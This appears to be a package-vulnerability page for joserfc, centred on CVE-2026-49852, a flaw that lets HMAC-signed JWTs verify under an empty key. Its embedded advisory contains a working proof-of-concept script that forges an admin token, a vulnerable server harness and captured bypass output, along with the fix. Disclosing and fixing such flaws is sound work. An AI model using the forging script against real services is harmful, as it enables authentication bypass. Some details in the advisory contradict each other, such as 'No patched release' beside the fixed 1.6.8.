Vulnerabilities in pkg:pypi/joserfc
PACKAGECVE-2026-49852 is a HIGH hs256/hs384/hs512 verify accepts empty/nil hmac vulnerability (CWE-287: Improper Authentication) affecting joserfc libraries in the PyPI ecosystem. The issue involves hs256/hs384/hs512 verify accepts empty/nil hmac key (cross-language sibling of cve-2026-45363). Remediation is available by upgrading affected packages to version 1.6.8.
pkg:pypi/joserfc
Vulnerability advisories affecting package pkg:pypi/joserfc. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-gg9x-qcx2-xmrh | CVE-2026-49852 | HIGH | joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363) |
| GHSA-wphv-vfrh-23q5 | CVE-2026-48990 | MODERATE | joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization |
| GHSA-w5r5-m38g-f9f9 | CVE-2026-27932 | HIGH | joserfc's PBES2 p2c Unbounded Iteration Count enables Denial of Service (DoS) |
| GHSA-frfh-8v73-gjg4 | CVE-2025-65015 | CRITICAL | joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads |
CVE-2026-49852 at a Glance
How to Fix CVE-2026-49852
To remediate this vulnerability, upgrade all affected joserfc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install joserfc>=1.6.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show joserfc
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-49852, inspect your installed packages using pip:
pip show joserfc
Analyze the terminal output to locate any version of joserfc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.8), your application is affected.
Note: The pip show joserfc command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In joserfc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49852 Affected joserfc Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
joserfc
|
PyPI |
< 1.6.8
|
1.6.8
|
References
Frequently Asked Questions
What is CVE-2026-49852?
Which joserfc versions are affected?
What version fixes CVE-2026-49852?
Is joserfc affected?
What CWE is associated with CVE-2026-49852?
How can I check PyPI dependencies for CVE-2026-49852?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gg9x-qcx2-xmrh",
"modified" : "2026-07-02T19:12:08Z",
"published" : "2026-07-02T19:12:08Z",
"aliases" : [ "CVE-2026-49852" ],
"summary" : "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)",
"details" : "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n SHA256 = hashlib.sha256\n SHA384 = hashlib.sha384\n SHA512 = hashlib.sha512\n\n def __init__(self, sha_type, recommended=False):\n self.name = f\"HS{sha_type}\"\n self.description = f\"HMAC using SHA-{sha_type}\"\n self.recommended = recommended\n self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n self.algorithm_security = sha_type\n\n def sign(self, msg: bytes, key: OctKey) -> bytes:\n op_key = key.get_op_key(\"sign\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:\n op_key = key.get_op_key(\"verify\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -> \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if len(key.raw_value) < 14:\n # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n warnings.warn(\"Key size should be >= 112 bits\", SecurityWarning)\n return key\n```\n\nThe `< 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python's `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)\n raise_verify_error!('HMAC key cannot be empty') if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `< 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` →\n `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` → returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n attacker computed exactly that digest with the same empty key, so\n `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n \"sub\": \"attacker\", \"admin\": True,\n \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\")) # default = \"\"\n try:\n tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n c = tok.claims\n body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n return [body]\n except Exception as e:\n start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n# state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py & # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub='attacker' admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration | Observed | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\") | HTTP 200, `admin=True` (verified) | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker's token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n should be >= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the\n operator-misconfiguration precondition; impact otherwise matches\n authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `< 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -> \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if not key.raw_value:\n raise ValueError(\"oct key material must not be empty\")\n if len(key.raw_value) < 14:\n warnings.warn(\"Key size should be >= 112 bits\", SecurityWarning)\n return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n ...\n def sign(self, msg: bytes, key: OctKey) -> bytes:\n op_key = key.get_op_key(\"sign\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:\n op_key = key.get_op_key(\"verify\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "joserfc"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.6.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
}, {
"type" : "WEB",
"url" : "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/authlib/joserfc"
}, {
"type" : "WEB",
"url" : "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1391", "CWE-287", "CWE-326" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-02T19:12:08Z",
"nvd_published_at" : null
}
}